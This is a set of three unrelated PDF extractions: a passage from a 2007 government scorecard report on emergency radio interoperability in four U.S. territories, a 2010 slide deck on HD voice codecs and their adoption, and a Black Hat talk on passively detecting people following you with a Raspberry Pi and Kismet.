area first responder agencies • Distribute and put SOPs into practice throughout the area through regular training, exercises, and usage • Develop training policies and requirements for inclusion in the TICP • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% Guam uses interoperable communications solutions almost exclusively for mutual aid response efforts. During the TICP validation exercise, participants were able to demonstrate familiarity with console patching; however, they generally were unable to establish interoperable communications among all participating agencies (e.g., Guam Civil Defense Agency, public health, power department). The shared talk groups noted in the TICP were not programmed into the portable radios, and no shared channels were available. However, participants were able to demonstrate proficiency in using the area’s shared system (used in day-to-day events). Recommendations: • Regularly test and exercise the deployment of and procedures for the area’s communications interoperability resources (e.g., gateway) to improve proficiency • Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day activities Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Government of Guam (GovGuam) operates an 800 megahertz (MHz), analog, Motorola Automatic Multiple Site Selection SmartNet™ radio system. All GovGuam agencies use this system. Interoperable communications between GovGuam agencies and their federal partners is achieved through console patching. The SmartNet system is very old, and Motorola no longer makes parts for it. Guam is beginning the process of looking into purchasing a new 700 or 800 MHz trunked radio system. Urban/Metropolitan Area B-50 January 2007 Tactical Interoperable Communications Scorecards Northern Mariana Islands Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Intermediate Implementation The Northern Mariana Islands designated the entire Commonwealth of the Northern Mariana Islands (CNMI) as its metropolitan area (area), which consists of a chain of 14 volcanic islands in the southwestern Pacific Ocean. Of these 14 islands, 3 are inhabited: Saipan, Tinian, and Rota. However, about 90 percent of CNMI’s population lives on Saipan, which is the capital. Governance: Intermediate Implementation 10% 10%15% 15% The Tactical Interoperable Communications Plan (TICP) Working Group was established in 2005 to create the TICP and includes local and state agencies (e.g., public health, state police, Port Authority). The area has a mix of formal and informal partnerships among agencies that would be supported by formalized agreements. Although some preliminary planning has begun, CNMI does not have a strategic plan for interoperable communications in place. Through federal grant funds, organizations within CNMI give some consideration to regional communications interoperability, but have faced considerable decline in local funding (e.g., pullout of garment companies, decline of tourism). Despite the governance challenges the territory faces, with the mayor’s participation on the governance committee and the governor acting as the final decision-maker on interoperability decisions, the area’s leaders demonstrate that interoperability is a political and fiscal priority. Recommendations: • Clarify federal membership in the decision-making group (e.g., TICP Working Group), and document roles and responsibilities • Develop, document, and formalize agreements (e.g., signed memorandum of understanding [MOU] with defined roles and responsibilities) among all participating agencies relating to regional interoperability • Reference all applicable agreements (e.g., MOUs, intergovernmental agreements) in the TICP and store them in an accessible format • Establish a regular review process to ensure that agreements remain current and relevant • Develop, document, and implement a regional strategic plan (beyond the operational TICP) with participant approval, adoption, and acceptance, that takes into account a long-term communications funding strategy (beyond grants) • Align local and CMNI-wide strategic planning efforts to ensure regional interoperability needs are met • Develop and implement a regional approach to long-term (e.g. 3 to 5 years) sustainable funding that is consistent with the strategic plan • Continue to champion a governance structure that will support regional communications interoperability, and involve senior regional government leadership on long-term funding plans Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Northern Mariana Islands incorporated existing policies and procedures (e.g., from the Civil Defense Office very high frequency [VHF] systems policies) into the TICP. Since these SOPs were already well established and used frequently, the public safety agencies in the area were well positioned to adopt the TICP. However, because the area’s previous SOPs relate to the old system, the area should take steps to ensure the TICP includes updated SOPs that relate to the new 800 megahertz (MHz) system. The area has begun to disseminate these polices and procedures (e.g., distributed to dispatch centers, available with gateways) to participating agencies. Because of the limited scope of the exercise, interoperable communications solutions were not always required, and participants were therefore unable to 10% 10%15% 15% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area B-51 January 2007 Tactical Interoperable Communications Scorecards demonstrate proficiency in executing all of the SOPs listed in the TICP (e.g., fixed gateway request not observed, mobile gateway request procedures not followed). The area began implementing National Incident Management System (NIMS)/Incident Command System (ICS) less than 6 months ago, which implies that the area is still in the earlier stages of implementing NIMS/ICS policies and procedures. This fact was evident during the exercise, as the participants did not demonstrate familiarity with command and control processes (e.g., no incident command was established, incomplete and inaccurate ICS Form 205). Recommendations: • Continue to distribute updated regional interoperability SOPs (e.g., document demonstrated exercise procedures not originally included in the TICP) • Develop training policies and requirements for inclusion in the TICP • Initiate basic and advanced training and exercises to SOPs (include TICP implementation of communications unit) and for NIMS/ICS to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% The CNMI regularly uses its shared 800 MHz system in day-to-day, task force, and mutual aid situations. While proficient in daily use, during the TICP validation exercise, participants experienced difficulties in demonstrating familiarity and proficiency in a tactical response situation using CNMI’s interoperable communications equipment (e.g., radio cache and gateways). Although the scope of the exercise was not sufficient to require the use of any interoperable assets, evaluators noted that when participants did attempt to communicate via the shared systems, “no solution was observed to compensate for the significant queuing noted,” and cellular and landline telephones communications were relied upon heavily. Recommendations: • Regularly test and exercise deployment of and procedures for territory’s interoperability resources (e.g., radio cache, gateway) to improve proficiency • Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day activities Below is a summary of the area’s existing technology used to provide communications interoperability: Te Te Te Technology Overview chnology Overview chnology Overview chnology Overview The CNMI operates an 800 MHz, trunked, Motorola SmartZone™ radio system that the Department of Public Safety (DPS), Emergency Management Office (EMO), Public Health, Department of Public Works, Customs and Border Protection, and Immigration and Customs Enforcement use. Repeaters are located on Mt. Tapotchao, a console and central electronics bank are located at DPS, and another console is located at EMO. The Ports Authority, Utility Corporation, and Mayor's Office each run their own VHF radio systems. CNMI incorrectly specified cache radios in its TICP. The actual number of caches and the radios in them is unknown. The SmartZone system is 14 years old, and Motorola no longer makes parts for it. Furthermore, the CNMI jurisdictions are separated by large bodies of water, which makes reliable communications using their current system very difficult. The need for interoperability is apparent and would be easier with much newer technology (e.g., T1 or microwave backhaul links). CNMI would like to replace this system with a Project 25 system but does not have the funding for such an undertaking. Urban/Metropolitan Area B-52 January 2007 Tactical Interoperable Communications Scorecards Puerto Rico Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Intermediate Implementation Usage: Intermediate Implementation The Commonwealth of Puerto Rico (PR) has designated San Juan, the most populous area of Puerto Rico, as the metropolitan area (area). The San Juan area consists of the Bayamón, Guaynabo, and San Juan municipalities. Governance: Intermediate Implementation 10% 10%15% 15% In March 2006, the Puerto Rico Communications Interoperability Committee (PRCIC) was established to develop the Tactical Interoperable Communications Plan (TICP) for the area. The PRCIC has operational, technical, and training working groups that include municipal, commonwealth, and federal agencies. The PRCIC is dedicated to developing interoperability across the commonwealth as a whole through strategic planning efforts. Although there are currently only informal agreements and partnerships among public safety agencies in the area, beyond the operational focus of the TICP, the area is working toward implementing the formalized TICP and regional SOP. The area does not currently base funding and equipment procurement decisions on regionwide interoperable communications goals, but is working to develop a more strategic, long-term funding plan. Recently in the area, there has been a commendable movement toward improving interoperability with the establishment of the PRCIC, but the area does not have a sustained history of dedicated fiscal and political support for interoperable communications. Recommendations: • Continue to support the decision-making group through regularly scheduled meetings and actively working issues to address regional (tactical and strategic) interoperability • Continue to document and formalize agreements (e.g., memoranda of understanding) among all participating agencies to achieve regional interoperability • Continue the interoperability strategic planning process toward the development and implementation of a strategic plan, with participant approval, adoption, and acceptance • Align regional and territorywide strategic planning efforts to ensure that regional communications interoperability needs are met • Develop and implement a regional approach to long-term interoperability planning and sustainable funding • Incorporate a regional interoperability funding strategy into a strategic plan, considering funding models (in addition to grants) that can leverage regional and territorywide strategic planning efforts • Involve additional political leaders in championing a governance structure that would more fully support territorywide interoperability Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The TICP is the first regional communications interoperability SOPs for the San Juan metropolitan area, and the area has taken steps to disseminate the new policies and procedures to all of the organizations involved. Additionally, the area has begun to implement the SOPs through a tabletop exercise and three functional exercises. While still a very new process, the area is aggressively working toward full implementation of the 10% 10%15% 15% 10% 10%15% 15% 10% 10%15% 15% Urban/Metropolitan Area B-53 January 2007 Tactical Interoperable Communications Scorecards National Incident Management System (NIMS)/Incident Command System (ICS) with the involvement of fire, emergency medical services (EMS), law enforcement, and other public safety support services (e.g., public works, U.S. Coast Guard, Department of Transportation, National Guard). During the exercise, the participants encountered some difficulties following the SOPs for command and control, including an incomplete ICS Form 205 and multiple participants performing the Communications Unit Leader responsibilities. Recommendations: • Ensure all regional communications interoperability SOPs are in place and put into practice, and increase proficiency in their use • Initiate basic and advanced training and exercises for NIMS/ICS (include communications unit training) • Continue regular practice of NIMS/ICS to improve interoperable communications Usage: Intermediate Implementation 10% 10%15% 15% The area has the capability of using multiple interoperable communications methods for day-to-day operations, but reports infrequent use and flexibility for incident interoperability. For example, during the exercise, the participants were able to demonstrate use of the Puerto Rico Emergency Management Agency (PREMA) gateway; however, EMS was not able to effectively communicate with the Fire Department. The radio cache was not used, and the shared system was used to support Police and Fire on different talk groups, but not as an interoperability method. Recommendations: • Regularly test and exercise deployment of regional communications interoperability resources to improve proficiency (e.g., shared system, gateway) • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overvi Technology Overvi Technology Overvi Technology Overview ew ew ew The Puerto Rico Police Department (PRPD) currently owns the only two trunked systems on the island. A Motorola® SmartNet II™ 800 megahertz (MHz) analog trunked system is supported by three tower sites and covers the City of San Juan and its vicinity. An EF Johnson® MultiNet™ 800 MHz analog trunked system is supported by 11 tower sites and covers all the other municipalities in Puerto Rico. Interoperability between the two systems is achieved by a fixed gateway and multi-protocol portable radios. PRPD is the only user of these systems. Most of the other public safety agencies are on very high frequency and ultra high frequency simplex systems. The PRPD also owns a large number of fixed and mobile gateways. Fixed gateways are installed at all the police regional headquarters for interoperability. Currently, these gateways are configured as standalone units. However, there is a plan to interconnect the equipment for remote operation. PREMA is currently acquiring a number of gateways as well. Urban/Metropolitan Area B-54 January 2007 Tactical Interoperable Communications Scorecards U.S. Virgin Islands Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Intermediate Implementation The U.S. Virgin Islands metropolitan area (area) is composed of four islands: St. Croix, St. John, St. Thomas, and Water Island. Governance: Intermediate Implementation 10% 10%15% 15% The Virgin Islands Office of Homeland Security established a communications committee to oversee the development and implementation of the Tactical Interoperable Communications Plan (TICP). The committee has local, state, and federal representation, including administrators from St. Thomas, St. John, and St. Croix. Although the area created regional SOPs in developing the TICP and organizations have accepted the plan, it is not yet in practice across the islands. The area indicates that there is a strategic plan addressing funding and operations; however, it is unclear if there is a strategic plan that incorporates interoperable communications beyond the operational focus of the TICP operational policies and procedures. It appears that limited and fragmented interoperable communications funding plans exist today (relying primarily on grants); the area plans to align budget management and equipment procurement with strategic interoperability goals but has not demonstrated that a long-term plan is currently in place. The area’s leaders have demonstrated an understanding of the importance of interoperable communications and are working on further developing political and fiscal support. Recommendations: • Continue to support the decision-making group through regularly scheduled meetings and actively working issues to address regional (tactical and strategic) interoperability • Continue to involve territory and federal organizations in the decision-making group and document roles and responsibilities as part of group support territory wide interoperability • Document and put into practice the necessary interoperability agreements to ensure consistent communications plans • In addition to the TICP, continue to develop and document a strategic plan with participant approval, adoption, and acceptance • Involve additional leaders in championing a governance structure that fully supports territory wide interoperability Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Virgin Islands built on previously existing policies and procedures, including the Emergency Operations Plan, when creating the TICP. The area has disseminated its SOPs to all included organizations and dispatch centers, and has taken steps to further provide training on the SOPs through the TICP Workshop. The area had some level of difficulties implementing the SOPs during the exercise. The participants experienced problems with the shared channels and neglected to follow the TICP policies and procedures to resolve the issue. The area has been implementing National Incident Management System (NIMS)/Incident Command System (ICS) in the area for more than 1 year, and fire, emergency medical services (EMS), law enforcement, the Red Cross, and the Virgin Islands Rescue Squads are involved in training and 10% 10%15% 15% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area B-55 January 2007 Tactical Interoperable Communications Scorecards implementation. Based on the exercise, the area demonstrated familiarity with NIMS/ICS command and control aspects; however, the participants experienced deficiencies in full implementation (e.g., incomplete ICS Form 205 form and Communications Unit Leader designation confusion). Recommendations: • Continue to develop, standardize, and put into practice regionwide SOPs for all applicable means of interoperability (e.g., shared channels) • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% The Virgin Islands has the capability to use shared channels and gateways on a daily basis. Although the gateway solutions are frequently used, there remains but one equipment manager for the nine gateways across the islands. Officials indicated that interoperable communications were effectively used during a recent real-world event. During the exercise, evaluators witnessed some evidence that the practitioners were less than familiar with some of their interoperability assets and their use. For example, the participants used the gateway but set it up in a location that could have impeded use. The multidisciplinary use of shared channels and the shared systems was minimal, which may have resulted in the lack of seamless interoperability. During the exercise, EMS was unable to communicate back to its dispatcher on either the EMS or mutual aid channels once they entered the Water and Power Authority gate. As such, an effective use of the mutual aid channel was not demonstrated and the use of the channel never designated by the Incident Command. Recommendations: • Regularly test and exercise deployment of regional interoperability resources (e.g., resolve shared channel and gateway issues involving state and federal agencies) to improve proficiency • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Most public safety agencies in the U.S. Virgin Islands use simplex and repeated, conventional, very high frequency (VHF) systems. There are about 15 mobile gateways between St. Croix, St. John, and St. Thomas. Two shared channels are available for interoperability. The Virgin Islands National Guard is transitioning from an 800 megahertz system to a VHF system. The Virgin Islands Office of Homeland Security intends to establish a radio cache in the future.
pdf
The Year of HD Voice -- 2010 Who, what, where, how? (Actually, who, how, where, what) Doug Mohney - Background • Following the ICT sector for over two decades • Writing for Boardwatch, The Inquirer, VON Magazine (Pulvermedia), TMC • Started HD voice coverage in May 2009 • Launch of HD Voice News (HD Connect Now) in August 2009 The 2009 HD voice wake-up call • France Telecom deployments – Broadband: Over 500,000 G.722 VoIP endpoints – Mobile: AMR-WB deployed in Moldova • Global Crossing – Built HD conference bridge for customer – Working on open HD conferencing bridge • Verizon Business – Close to 5,000 phones at HQ – Expects early adopters in 2010, general availability in 2011 • Cablevision (Optimum Lightwave) – Deployed hosted HD voice service in 2H09 Yes… • Once again, the United States of America is being outclassed by the rest of the world in telecommunications technology…. Or… • U.S. carriers will wait until the smoke clears and then get a deal because someone else has done the hard R&D… Who: Companies in HD voice “ecosystem” • IP desktop handset manufacturers – ALL major – Aastra, AudioCodes, Avaya, Cisco, Polycom • Mobile handset manufacturers – Nokia, Sony Ericsson declared, anyone with Android & 4G, others to come • Network core – Aculab, Dialogic, D2 Technologies, Ericsson, Trinity Convergence • Applications – BroadSoft, CommuniGate, Unisys, WYDEVoice • Service Providers – Cablevision, France Telecom, 8x8, ooma, WorldGate What is HD Voice? First-- • What is narrowband voice? – Acoustic standards set in 1937 • Since ‘37, FM radio, TV, CD, HDTV, HD radio… – PSTN grade call = 3.4 kHz range – 300 Hz to 3400 Hz – G.711 is VoIP equivalent, 64 kbp/s bandwidth What is HD voice? • Also known as wideband voice • Range of at least 7 kHz sampling; i.e. twice the range of G.711 • G.722 codec is baseline HD voice: – 30 Hz to 7000 Hz – 2x PSTN/G.711 – Still only need 64 kbit/s • Other HD voice codecs include AMR-WB, SILK, GIPS iSAC. HD - Looking at Hertz 0 5000 10000 15000 20000 25000 30000 Benefits from HD voice • Reduction of fatigue – Narrowband clipping means brain plays “fill in the blanks” in the background – More data = less brain strain – A reason why long conference calls suck! • Better compensation and clarity – Similar-sounding words like "sail" and "fail" – Acronyms are “notorious” for garbling • End up having to repeat and/or spell out HD Voice is much more than a codec.. • Typically an all-IP application • Requires capable speakers & microphones – PSTN can’t handle wideband – You can fake it on mobile network with the right gear – SIP for interoperability • Need good QoS, low latency – If you can’t do vanilla VoIP… • On large scale, need agreements to interconnect via SIP for seamless HD calling, transcoding between HD codecs How do you get HD voice to talk to the PSTN? To other HD voice users? • Different codec types – Transcoding – HD voice to PSTN/G.711/G.729 – G.722 to AMR-WB, SILK, iSAC • Same codec type – On same LAN – Interconnection via SIP HD voice and the island problem • Service providers don’t do SIP peering/interconnect/federations out of the box- – Security considerations (SPIT, DDoS, you name it) – ENUM is overhead – Quality of Service – Settlements (i.e. who gets cash) • As a result, there are many HD voice islands: – In enterprises – At service providers Building bridges to HD voice islands • Can peer (direct relationship) – Service provider to service provider – IP Peering Alliance • Group of independent hosting business VoIP guys – Cloud Communications Alliance • Smaller group of guys in IP peering alliance sent out press release • Interconnection service – Spoke and hub network – Hub service provider • Manages ENUM lists • Technical, business, and legal management – Xconnect ran HD voice trial in April-June timeframe • Many participants in the Cloud Communications Aliance – Sprint PIN network • Doing vanilla VoIP • Could do other SIP (HD voice, video) if Sprint figures out what to do with PIN Back to HD voice codecs • G.722 – Based on G.711, people wanted better voice – Patents expired, now anyone can use it • AMR-WB aka G.722.2 – Cellular industry wanted HD, based on AMR – Designed to conserve RF usage, 24 kbit/s for HD – Need to pay VoiceAge (and Nokia, FT, Ericsson) for patent – Currently nearly exclusively in cellular domain, but being pushed to wireline • iSAC – Google BOUGHT GIPS in May for $68 million – Proprietary (today) by Global IP Solutions (GIPS) – Licensed for use by AOL, Yahoo, QQ, Nimbuzz, WebEx, IBM Lotus, Citrix Online – Will Google open source one or more GIPS HD voice & video codecs??? • SILK – Skype wanted “superwideband” codec with variable bit-rate adaptability based on CPU and network availability – Royalty-free license – Samples between 8 to 24 kHz, use 6 to 40 kbit/s And still more HD voice codecs… • G.722.1 / Polycom Siren) – Royalty-free usage, not open source. – Bit-rates from 16 to 32 kbit/s – Billions of minutes of usage on Vivex. • Fraunhofer Audio Communication Engine (ACE) – Include specifically designed MPEG codec “AAC Enhanced Low Delay” • “CD quality audio” at “very low coding delays and bitrates” – Pitched for 4G/LTE usage, other parts of toolkit include echo control software, IP streaming stack and error concealment tools. – Why yes, you do have to pay royalties • Speex – Open source patent-free – Sampling from narrowband (8 kHz) to wideband and ultrawideband – Can use bitrates from 2 to 44 kbit/s • Broadcom BroadVoice – Offered royalty-free and open source under GNU (C, floating & fixed, GNU LGPL 2.1) – Wideband at 16 kHz sampling, 32 kbit/s, narrowband 8 kHz sampling, 16 kbit/s Why people fight over codecs • Hardware designers – Simpler is better, fewer codecs, less expense to test and support – On wireless side, less cycles = more battery life • Wireless crowd – Old guard: Every little RF bandwidth is sacred • But this goes out the door with 3G/4G!! • Some say this with a straight face as they prepare their pitch slides for streaming video, two-way conferencing…yah, WTF – Lean on the device CPU to compress (AMR-WB, SILK) • Network core – More codecs, more transcoding between formats – Service providers prefer to NOT transcode as it costs money & has potential to lose HD voice goodness in translation between HD codecs • Developers – Programmers all think they can write something better. Apps that love HD voice • Conferencing the “Killer App” – Clarity, less stress, identify voices, accents less of a barrier • Multi-national conversations for bonus dollars – Non-native speakers of language can • Be understood better • Better understand what is being said much better • Transcription (i.e. voice to email) – Computer-based fewer errors – Human, same thing, easier, less replaying Apps that should love HD voice • Better IVR/anything processing voice • Young and old – Young (under 3) have squeaky voice, don’t understand on a phone call – Old, don’t hear so well; HD adds back some clue • Public safety/national defense – Better 911 calling – Better translation/understanding of intercept Who is doing HD voice? • Major Carriers • Mobile • Cable/MSO • Hosted VoIP/Business VoIP • Consumer bypass play • By region: – Europe now – Asia beginning – North America “under the radar.” Major Telecom Carriers • France Telecom – At least 500,000 users/end-points on broadband – Multiple mobile deployments announced • BT – BT hub, likely 2M G.722 capable end points deployed • Telstra – Hosted HD voice service for businesses – Could have up to 11,000 end-points internally • Global Crossing – Running HD conferencing bridge for top-tier customer – Public HD conferencing bridge coming • Verizon – Nearly 5,000 endpoints installed at HQ – Verizon Business: “Early adopters 2010, general availability 2011” • Deutsche Telekom – Tested with Ericsson back in 2006 • Telecom Italia – Often repeated, but… Mobile/Cellular • France Telecom / Orange – Moldova, Armenia (!) running – France “by end of July” – UK trials done, rollout “later this summer”/3Q – Belgium, Luxembourg, Spain in 2010 • 3 UK – Demo, teased media in 2010 • Deutsche Telekom (DT) – Has trialed HD on LTE • VoLGA and 4G expected to be drivers Cable/MSO • CableLabs blessed DECT CAT-iq standard in 2009 – Wireless end-to-end G.722 call – CPE with embedded CAT-iq starting to come out of pipeline • Cablevision – Optimum Lightpath launched hosted HD service in June 2009 • Cox – “2011” is latest word. • Comcast – The Cable Show 2010, CTO said “As we move to HD voice…” • No timetable given. • Time-Warner Cable – Has tested HD voice, coy on deployment plans – Expects CPE to be capable “within 5 years…” Business VoIP providers • Many independent hosted providers – Differentiator against bigger players • 8x8 biggest in North America – Aastra Hi-Q upgrade – 70,000+ end-points (Jan 2010) • Numerous players with 2,500 to 7,500 end- points. Consumer plays • Ooma – Hardware/service bundle – Second-generation Telo hardware does G.722, CAT-IQ – 4Q 2009 shipped 25,000 units – Do the math, could conservatively ship around 100K+ units in 2010 • WorldGate – The guys who did the OjO phone – Have a two year, 300,000 unit deal to ship videophones to ACN; the phone supports G.722 as well as video. • Vivox – Provides voice via Siren 14 (G.722.1C) to MMORPGs & Second Life – 16 million users, Over 2 billion minutes per month – Customers include CCP Games, Electronic Arts, Gaia Online, Icarus Studios, Linden Lab, NCsoft, Realtime Worlds, Sony Online Entertainment and Wizards of the Coast. HD Voice by region • Europe – FT leading, others joining. • Asia – Australia/Telstra offering hosted service – Korea, Japan offering services • North America – “Under the radar” with earlier adopters in enterprise, consumer, cable, and hosted VoIP. Why use HD? Today’s apps • Service provider attraction/retention • Conferencing • Multi-national • As a part of a UC play Service providers • Attraction – Better quality voice than narrowband, other carriers • Retention – Better quality product keeps people from switching (i.e. keep churn down) – France Telecom not charging extra for bband HD • Differentiation – Set apart from everyone else… until everyone else gets it • Monetization – Pay for better quality (?) Nobody knows • Pre-pay vs post-pay interesting to watch Conferencing – HD voice’s killer app • Clearer communication – Don’t have to repeat acronyms • Less stressful – People focus on content, not figuring out what is being said • Can identify individual voices easier Multi-national/multi-lingual • BIG winner for Fortune 500/international businesses • Non-native speakers can understand what is being said better/easier – Clearer speech, no clipping of similar sounds, don’t have to guess/interpret • Can understand non-native speakers better – Accents much less of a factor because there’s no clipping. Unified Communications • Rolled in as “yet another feature” in a UC play • Better voice quality provides – Clearer voice mail messaging – More effective transcriptions • Voice to email • Less human work/intervention in voice-based work products (Health care, legal, financial) – Cablevision/Optimum Lightpath’s play in NY Higher Education • Desire to work with “leading edge” • Large campus deployments • Deployments of 5,000 (and more) end-points – Penn State – Texas Tech How does HD progress? • Mobile • Broadband • Around the world Mobile HD voice progression • France Telecom taking lead role in Europe – Has upgraded data networks – Bringing handset manufacturers in • Expects full portfolio to be AMR-WB capable by end of 2011 • Expect competitors to match in Europe • Asia – likely Japan • North America – Roll some dice… • Mobile HD voice likely to happen faster – Typical handset lifecycle of 3 years – Can “churn out” old gear with incentives – Arms race (more features) and Moore’s Law (faster/cheaper silicon) aid process Broadband • U.S. – Verizon/AT&T vs. Cable Companies – Who blinks first? – Once one comes in, others expected in “avalanche.” – Cable appears to be on a path for 2010-2011 • Approved DECT CAT-iq standard in 2009 • CPE gear starting to come out in 2010 • Europe – Nobody’s moved other than France Telecom (yet) – BT, DT, Virgin likely, Norway and Holland also cited • Asia – Korea, Japan HD voice around the world • Europe – Mobile - All HD over next 5 years • Asia – Mix of mobile and broadband • North America – Islands of HD today in business, consumer – Cable companies by 2011 – Mobile likely a 4G-esque play – 2011/2012 For more information • www.hdvoicenews.com • TMC (www.tmcnet.com) has a HD voice “Channel” with info
pdf
#BHUSA @BlackHatEvents Chasing Your Tail With A Raspberry Pi Matt Edmondson #BHUSA @BlackHatEvents Information Classification: General Why Are We Talking About This? • For some people, trying to figure out if they’re being followed is a matter of physical safety for themselves or others • I was approached by a friend in this situation looking for a technical option to use in conjunction with traditional tradecraft #BHUSA @BlackHatEvents Information Classification: General The New (i.e. Really Old) SDR: Surveillance Detection Route #BHUSA @BlackHatEvents Information Classification: General One Option: Looking for Persistent Digital Signatures • Go to Starbucks to grab a drink • Hit the gas station to top off the tank • Head over to the bookstore to look at magazines • Now… Did I see any devices at all three locations? #BHUSA @BlackHatEvents Information Classification: General One Option: Looking for Persistent Digital Signatures Cont. • We’ll accomplish this by passively detecting Wi-Fi and Bluetooth devices we observe around us • The devices could be part of an active connection, or just looking for networks to connect to #BHUSA @BlackHatEvents Information Classification: General Hardware • For hardware I wanted to use things that I had laying around in a closet • I imagine many of you have these same things gathering dust somewhere and if not, they’re cheap #BHUSA @BlackHatEvents Information Classification: General Platform: Raspberry Pi is One Cheap Option #BHUSA @BlackHatEvents Information Classification: General Wireless: Something You Can Put In Monitor Mode #BHUSA @BlackHatEvents Information Classification: General Power: A Battery Pack or Other Power Source #BHUSA @BlackHatEvents Information Classification: General Display: A Screen For Real Time Monitoring #BHUSA @BlackHatEvents Information Classification: General Software: Kismet • Open source with a fantastic Discord server • Easy to install • Passive • Supports Wi-Fi, Bluetooth, SDR, ZigBee etc. • Writes the data into a SQLite database • Able to generate PCAP and other formats if needed #BHUSA @BlackHatEvents Information Classification: General Everything Else is Just Python or Shell Scripts #BHUSA @BlackHatEvents Information Classification: General But It’s Not Perfect! • “Perfect is the enemy of good” – Voltaire • "Give them the third best to go on with; the second best comes too late, the best never comes.“ - Robert Watson-Watt #BHUSA @BlackHatEvents Information Classification: General Back to Kismet • By default Kismet starts up a new SQLite file every time you start it (with a .kismet extension) • We’ll just have that output to the same directory and have our Python code parse whatever the newest .kismet file in that directory is #BHUSA @BlackHatEvents Information Classification: General A Slight Change in the Methodology • Look for any Wi-Fi or Bluetooth devices currently in the area which I also saw 5-10 minutes ago, 10-15 minutes ago or 15-20 minutes ago • If there are, alert me with the MAC address, device type (Wi-Fi Access point, BTLE etc.) and the time frame I previously saw it #BHUSA @BlackHatEvents Information Classification: General Our First Snag • Not solvable with a simple SQL query by time frame since Kismet stores the first and most recent time stamps, but not those in between • But there is a solution… #BHUSA @BlackHatEvents Information Classification: General Enter the List! • Create 5-10, 10-15 and 15-20 min lists at startup • Initialize a list of current devices • Every minute add things you’re seeing into the current list • Every five minutes, make the current devices the 5- 10 mins list #BHUSA @BlackHatEvents Information Classification: General Now What? • Every minute grab the devices that have been seen in the previous 60 seconds, see if any of them are in any of the 5-10 min,10-15 min or 15-20 min lists and print an alert to the screen if so #BHUSA @BlackHatEvents Information Classification: General We Don’t Want to Alert on Ourselves… #BHUSA @BlackHatEvents Information Classification: General Let’s Make Some Ignore Lists • At any time you can create an “ignore list” of every MAC address seen in the latest kismet database • These devices are ignored for the rest of the session • You can delete or re-recreate the list at any time #BHUSA @BlackHatEvents Information Classification: General Please Don’t Laugh… OK, You Can Laugh • How do you do all this on a tiny touch screen with no keyboard?? #BHUSA @BlackHatEvents Information Classification: General Field Testing • Worked great in the lab, did everything it was supposed to • Took it out in the middle of nowhere, turned on a new wireless device and saw…. nothing #BHUSA @BlackHatEvents Information Classification: General MAC Randomization Was WAY More Frequent Than I Thought #BHUSA @BlackHatEvents Information Classification: General Is This a Deal Breaker? • The MAC address logic works and needs to remain, but we obviously can’t rely on it alone if we’re counting on seeing devices that currently aren’t connected to a Wi-Fi network when they’re looking for Wi-Fi networks • We’re going to have to dive deeper and look at what was being probed for #BHUSA @BlackHatEvents Information Classification: General Thank You Kismet! • Kismet normalizes some fields in the database but has a lot more data in JSON blobs • raw_device_json["dot11.device"]["dot11.device.last_ probed_ssid_record"]["dot11.probedssid.ssid"] • So now in addition to MACs, we can look for what was being probed for, regardless of the MAC address probing #BHUSA @BlackHatEvents Information Classification: General User Display #BHUSA @BlackHatEvents Information Classification: General User Display Cont #BHUSA @BlackHatEvents Information Classification: General User Display Cont #BHUSA @BlackHatEvents Information Classification: General The MVP Version #BHUSA @BlackHatEvents Information Classification: General The…. Better…ish… version #BHUSA @BlackHatEvents Information Classification: General We Said Earlier That Kismet Keeps Great Logs • Can we analyze these logs to find information about the individuals following us? • Potentially… #BHUSA @BlackHatEvents Information Classification: General Sub-Optimal OPSEC • Many organizations have a very bad habit of naming their Wi-Fi networks the name of their agencies or specialty units #BHUSA @BlackHatEvents Information Classification: General Wigle.net • I did this government agency the courtesy of sanitizing the first part of their Wi-Fi network name #BHUSA @BlackHatEvents Information Classification: General Path Forward • More Wi-Fi adapters • More wireless protocols • GPS tracking #BHUSA @BlackHatEvents Information Classification: General Special Thanks • Mike Kershaw (@kismetwireless) • Dominic White (@singe) • Joshua Wright (@joswr1ght) #BHUSA @BlackHatEvents Information Classification: General Thank You! Matt Edmondson @matt0177 [email protected] www.digitalforensicstips.com
pdf
